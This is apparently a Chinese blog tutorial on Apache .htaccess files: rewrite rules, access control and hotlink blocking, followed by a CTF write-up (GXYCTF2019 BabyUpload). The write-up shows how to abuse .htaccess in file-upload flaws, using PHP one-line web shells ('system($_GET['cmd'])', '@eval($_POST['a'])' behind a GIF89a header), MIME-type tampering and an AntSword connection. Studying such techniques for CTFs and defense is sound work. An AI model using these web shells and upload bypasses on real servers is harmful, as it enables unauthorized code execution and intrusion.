.htaccess文件的组成、用法及作用详解

.htaccess (Hypertext Access)是 Apache 服务器的一个分布式配置文件,可以覆盖主配置文件的设置,无需重启服务器即可生效 (需要管理员级别权限修改的httpd.conf文件修改后需要重启Apach服务器)它主要用于目录级的配置,是 Web 安全、URL 重写和服务器优化的重要工具。

1、.htaccess 文件的基本组成

.htaccess 文件是一个纯文本文件,通常包含以下类型的指令:

常用指令类型

指令类型 示例 作用
认证与授权 AuthType Basic 密码保护目录
URL 重写 RewriteRule ^old.html$ new.html [R=301] 重定向或美化 URL
错误页面定制 ErrorDocument 404 /404.html 自定义 404 页面
禁止访问 Deny from all 阻止特定 IP 或用户代理访问
MIME 类型设置 AddType application/x-httpd-php .php 定义文件类型处理方式
缓存控制 ExpiresActive On 设置浏览器缓存策略
PHP 配置覆盖 php_value upload_max_filesize 20M 修改 PHP 运行参数(如上传限制)

2、.htaccess 的核心作用

1. URL 重写(SEO 友好 & 隐藏真实路径)

复制代码
RewriteEngine On
RewriteRule ^article/([0-9]+)/?$ article.php?id=$1 [L]
  • 用户访问 /article/123/ → 实际执行 article.php?id=123

  • 常用于 WordPress、Laravel 等框架

2. 访问控制(安全防护)

复制代码
# 禁止访问特定文件
<Files "config.ini">
    Deny from all
</Files>

# 屏蔽恶意 User-Agent
RewriteCond %{HTTP_USER_AGENT} (wget|curl|python) [NC]
RewriteRule .* - [F]

3. 自定义错误页面

复制代码
ErrorDocument 404 /errors/404.html
ErrorDocument 500 /errors/500.html
  • 提升用户体验,避免暴露服务器信息。(了解一下即可)

4. 防止目录遍历

复制代码
Options -Indexes
  • 禁止直接列出目录内容(防止敏感文件泄露)。

5. 强制 HTTPS(安全跳转)

复制代码
RewriteEngine On
RewriteCond %{HTTPS} off
RewriteRule ^(.*)$ https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301]

6. 禁止 PHP 执行(安全防护)

复制代码
<FilesMatch "\.(php|inc)$">
    Deny from all
</FilesMatch>
  • 常用于上传目录(如 /uploads/),防止上传 Webshell 被执行。

3、典型应用场景

1. WordPress 的 .htaccess

复制代码
# BEGIN WordPress
<IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteBase /
    RewriteRule ^index\.php$ - [L]
    RewriteCond %{REQUEST_FILENAME} !-f
    RewriteCond %{REQUEST_FILENAME} !-d
    RewriteRule . /index.php [L]
</IfModule>
# END WordPress
  • 实现"固定链接"(Pretty Permalinks)功能。

2. 防止图片盗链

复制代码
RewriteEngine On
RewriteCond %{HTTP_REFERER} !^$
RewriteCond %{HTTP_REFERER} !^https://(www\.)?yourdomain.com [NC]
RewriteRule \.(jpg|png|gif)$ - [F]
  • 只允许本站引用图片,外站访问返回 403。

3. 限制 IP 访问

复制代码
Order Deny,Allow
Deny from all
Allow from 192.168.1.100
  • 仅允许特定 IP 访问目录。

4、注意事项

  1. 性能影响:

    每个请求都会读取 .htaccess,高流量站点建议改用主配置文件(httpd.conf)。

  2. 语法严格:

    错误的规则可能导致 500 错误,测试时建议备份原文件。

  3. 优先级:

    子目录的 .htaccess 会覆盖父目录的设置。

  4. 安全风险:

    错误的权限设置可能导致 .htaccess 被篡改(建议权限设为 644)


5、如何测试 .htaccess 是否生效?

  1. 访问目标 URL,观察是否按规则跳转。

  2. 使用 curl 检查响应头:

    复制代码
    curl -I http://example.com/test

6、.htaccess文件在文件上传漏洞中的构造方法及作用详解

.htaccess文件概述

.htaccess是Apache服务器的一个配置文件,它允许用户针对特定目录修改服务器的配置,而无需访问主配置文件。在文件上传漏洞利用中,攻击者常利用.htaccess文件来实现恶意目的。

<1>.htaccess在文件上传漏洞中的作用

  1. 文件执行控制 :通过修改文件解析规则,使原本不可执行的文件(如图片)能够作为PHP等脚本执行

  2. 绕过限制 :绕过服务器的文件类型****检查和安全限制

  3. 持久化访问 :为后续攻击提供持久化的后门访问

<2>常见的.htaccess构造方法

1. 修改文件解析规则

apache

复制代码
AddType application/x-httpd-php .jpg .png .gif

作用:使服务器将.jpg、.png、.gif等图片文件当作PHP脚本解析 执行

(比如当题目限制只能上传图片文件而没有对.htaccess文件过滤时,就可以使用这种方法进行绕过)

2. 设置PHP执行标志

apache

复制代码
<FilesMatch "\.(jpg|png|gif)$">
    SetHandler application/x-httpd-php
</FilesMatch>

作用:匹配特定扩展名的文件,强制使用PHP处理器处理

这个暂时还没弄明白怎么运用

3. 自定义错误处理程序

apache

复制代码
ErrorDocument 404 /uploads/malicious.php

作用:将404错误****重定向到恶意脚本,实现隐蔽访问

4. 启用PHP配置选项

apache

复制代码
php_value auto_prepend_file "malicious.jpg"
php_value auto_append_file "malicious.jpg"

作用:在每个PHP文件执行前后自动包含恶意文件

5. 重写URL规则

apache

复制代码
RewriteEngine On
RewriteRule ^(.*)\.jpg$ malicious.php?file=$1

作用:将访问.jpg文件的请求****重定向到恶意PHP脚本

总结来说就是:

假设攻击者上传了一个包含以下内容的.htaccess文件:

apache

复制代码
AddType application/x-httpd-php .abc

然后上传一个名为"shell.abc"的文件,内容为:

php

复制代码
<?php system($_GET['cmd']); ?>

这样,访问"shell.abc?cmd=id"就会执行系统命令。

例题
【nssctf】 GXYCTF2019 BabyUpload

开启题目后随便上传一个木马.txt文件,提示太露骨了

同样的png文件也提示露骨

然后我上传了一个muma.jpg图片,提示如下

由此可知,后端检测出上传的jpg文件中含有php代码(即后缀检测,内容也检测)

而对内容检测八成就是对php标签内容检测

所以需要将jpg中的php代码修改为Javascript的形式,如下:

复制代码
GIF89a
<script language='php'>@eval($_POST["a"]);</script>

(这串代码简洁明了的解释就是 结合GIF图像格式和PHP代码,用于绕过文件上传限制并执行恶意代码)

这里我详细记录一下这串代码的作用吧:

  • GIF89a是GIF图像文件的文件头标识。它表示这是一个GIF格式的图像文件。

  • GIF文件的文件头通常是**GIF89a或GIF87a,用于标识文件类型** 和版本(这一步是为上传成功作准备的)

  • <script language='php'>:

    • 这是一个HTML <script> 标签,通常用于嵌入脚本代码。

    • 在这里,language='php' 属性指定了脚本语言为PHP。

  • @eval($_POST["a"]);:

    • @eval 是PHP的一个函数,用于执行字符串中的PHP代码。

    • $_POST["a"] 是一个超全局变量,表示通过POST方法传递的参数**a**。

    • @ 符号用于抑制错误信息,即使eval函数执行失败,也不会显示任何错误信息。

(这一大坨都是为了后面.htaccess文件解析它作准备)

接下来上传文件后页面回显路径

说明上传成功,既然能上传,接下来只需要解决能否解析.jpg文件中的php代码就可以了

而想要解析.jpg文件中的php代码,就可以使用**.htaccess**文件来进行实现

接着来看步骤:

先创建一个**.htaccess文件**,用记事本打开,写入以下内容:

复制代码
AddType application/x-httpd-php .jpg .txt .png

这条命令可以让Apach服务器在遇到**.jpg .txt .png** 文件时按照php 文件来解析(即解析其中的php代码)

下一步 .htaccess文件配合 .jpg 文件上传

先上传.htaccess 文件,响应页面如下

没错,露骨就需要抓包改一下MIME类型了(Content-type)

选择.htaccess文件后,抓包然后上传

点击上传

修改****MIME类型为 允许的image/jpeg

修改后放行,出现响应界面

页面提示.htaccess文件上传成功

这样的话就可以上传****待解析 的jpg文件了

直接上传

可以看到此刻jpg文件也上传成功

既然路径也有了,接下来只需要拼接url访问即可

拼接访问

发现伪装的jpg文件头已显示,说明图片(php代码)解析成功

可以通过POST传参传入php语句看其是否能执行

F12键打开hackbar,利用一句话木马传入的参数执行php语句

(别搞错,上传的木马参数不一样这里就不一样。我的是a)

执行

php语句可执行, 接下来就可以连接蚁剑

打开蚁剑添加数据,填入拼接好的url,传入的参数即为连接密码(我的是a)

点击测试连接

连接成功后点击添加 。最后打开目录搜寻flag即可


总的来说

.htaccess 是 Apache 服务器的强大工具,可用于:
URL 重写 (SEO 优化)
访问控制 (IP/User-Agent 过滤)
安全防护 (禁止目录遍历、防 PHP 执行)
自定义错误页(提升用户体验)

而在文件上传漏洞中,.htaccess文件在文件上传漏洞中常被用作"桥梁",通过修改服务器配置来绕过安全限制。

合理使用能大幅增强网站安全性和灵活性,但需注意性能影响和语法正确性,否则出现"文件因错误而无法显示"就是常态了

相关推荐
狗凯之家源码网6 小时前
淘客口令落地页生成器 PHP 版深度评测
开发语言·php
画绛集美术6 小时前
本地化部署LLM用于美术史问答:一间美术教室的实践记录
开发语言·php
PHP实战开发录10 小时前
MySQL字段加索引为什么没变快
数据库·mysql·php·开发
狗凯之家源码网12 小时前
PHP 用户反馈系统源码深度评测与实战指南
开发语言·php·用户反馈系统
AC赳赳老秦15 小时前
数据采集全链路审计留痕:用 OpenClaw 实现合规审计与追溯
开发语言·汇编·python·php·swift·deepseek·openclaw
aixingpan17 小时前
aixingpan.cn API开发文档:api_docs_bichart_natalvssecondary2接口指南
前端·php
乃嘿仔19 小时前
AI 热点日报 · 2026-10-01
开发语言·人工智能·php
ai小陈20 小时前
GPU服务器租用部署实战:用systemd守护模型推理服务
运维·服务器·人工智能·ai·php·gpu算力
Zhang~Ling21 小时前
Linux网络:五种IO模型及其工作原理与应用
linux·网络·php
haerapi1 天前
RAPTOR 树不是把文档简单分组:递归聚类的层级检索
数据挖掘·php·聚类